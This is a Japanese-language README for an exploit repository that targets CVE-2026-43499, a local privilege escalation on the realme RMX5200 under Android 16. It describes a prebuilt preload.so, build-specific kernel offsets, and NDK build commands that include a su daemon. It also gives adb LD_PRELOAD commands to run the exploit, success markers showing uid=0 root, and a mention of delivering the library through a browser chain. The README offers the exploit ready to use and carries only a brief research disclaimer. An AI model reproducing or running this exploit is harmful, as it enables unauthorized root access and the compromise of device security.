realme RMX5200 向け CVE-2026-43499

CVE-2026-43499 ローカル権限昇格 SO 対象:

項目	値
デバイス	realme RMX5200 / RE6030L1
Android	16
カーネル	`6.12.23-android16-5-gb2a876903b49-ab14541642-4k`
フィンガープリント	`realme/RMX5200/RE6030L1:16/BP2A.250605.015/...:user/release-keys`

プリビルドバイナリ: bin/preload.so

このリポジトリには SO ビルドツリーのみ（ソース + オフセット + プリビルド）が含まれます。ブラウザハーネス、ファームウェアダンプ、テスト用足場は含まれません。

公開されている IonStack / popsicle スタイルのチェーンに基づいています。オフセットはこのデバイスの boot.img + xbl_config.img から再生成されています。

レイアウト

.
├── bin/preload.so              # prebuilt aarch64 shared object (verified)
├── generate_target.py          # optional: regenerate target.h from boot+xbl
├── source/
│   ├── Makefile
│   └── src/
│       ├── target.h            # RMX5200 offsets
│       ├── main.c preload.c slide.c ...
│       └── kernelsnitch/
└── README.md

ビルド

必要条件:

Android NDK (r27+ 推奨)
Python 3 + llvm-objdump (target.h を再生成する場合のみ)

make を使用

# Linux NDK example
export NDK_ROOT=/path/to/android-ndk
make -C source clean preload

# Windows NDK example
make -C source clean preload \
  NDK_ROOT="/c/Users/YOU/AppData/Local/Android/Sdk/ndk/27.2.12479018" \
  NDK_TOOLCHAIN="/c/Users/YOU/AppData/Local/Android/Sdk/ndk/27.2.12479018/toolchains/llvm/prebuilt/windows-x86_64"

出力:

source/build/bin/preload.so

make なし (clang 直接)

cd source
mkdir -p build/bin build/embed
CC="$NDK_TOOLCHAIN/bin/aarch64-linux-android35-clang"

$CC -O2 -Isrc -fPIE -pie -DTARGET_CONFIG_H=\"target.h\" \
  src/su_daemon.c -o build/embed/su_daemon_aarch64_pie

$CC -O2 -Isrc -fPIC -Wno-unused-parameter -Wno-sign-compare -Wno-unused-function \
  -DTARGET_CONFIG_H=\"target.h\" \
  src/main.c src/util.c src/slide.c src/fops.c src/pipe.c \
  src/preload.c src/su_blob.S \
  -shared -o build/bin/preload.so -pthread

オフセットの再生成 (任意)

対応するファームウェアイメージが必要です (ここには同梱されていません):

python3 generate_target.py \
  --boot boot.img \
  --xbl-config xbl_config.img \
  --llvm-objdump llvm-objdump \
  -o source/src/target.h

実行

ADB LD_PRELOAD

adb push bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
adb shell '/data/local/tmp/su -c id'

ブラウザチェーン (外部)

この preload.so を Firefox-151 lonStack スタイルのホスト（例: Rootme デバイスエントリ）経由で読み込みます。このリポジトリには含まれていません。

成功マーカー:

slide-kaslr-ok
direct credential result uid=0 ...
local su binary ready path=/data/local/tmp/su
direct-root-summary root=1 ...

uid=0(root) gid=0(root) ... context=kernel

注記

一時的な root のみ — 再起動後は失われます。
成功後、一部のアプリは再起動まで Framework の初期化に失敗する可能性があります（関連する公開ターゲットと同じ種類の副作用です）。
オフセットは ビルド固有 です。他の OTA ビルドでは新しい target.h / 再ビルドが必要です。
所有するデバイスに対する許可されたセキュリティ研究用です。

クレジット

公開研究コンテキスト: IonStack / CVE-2026-43499 の解説記事
実装系譜: popsicle スタイルの preload.so チェーン
デバイス対応: RMX5200 (RE6030L1)

人気

CVE-2026-43499-RMX5200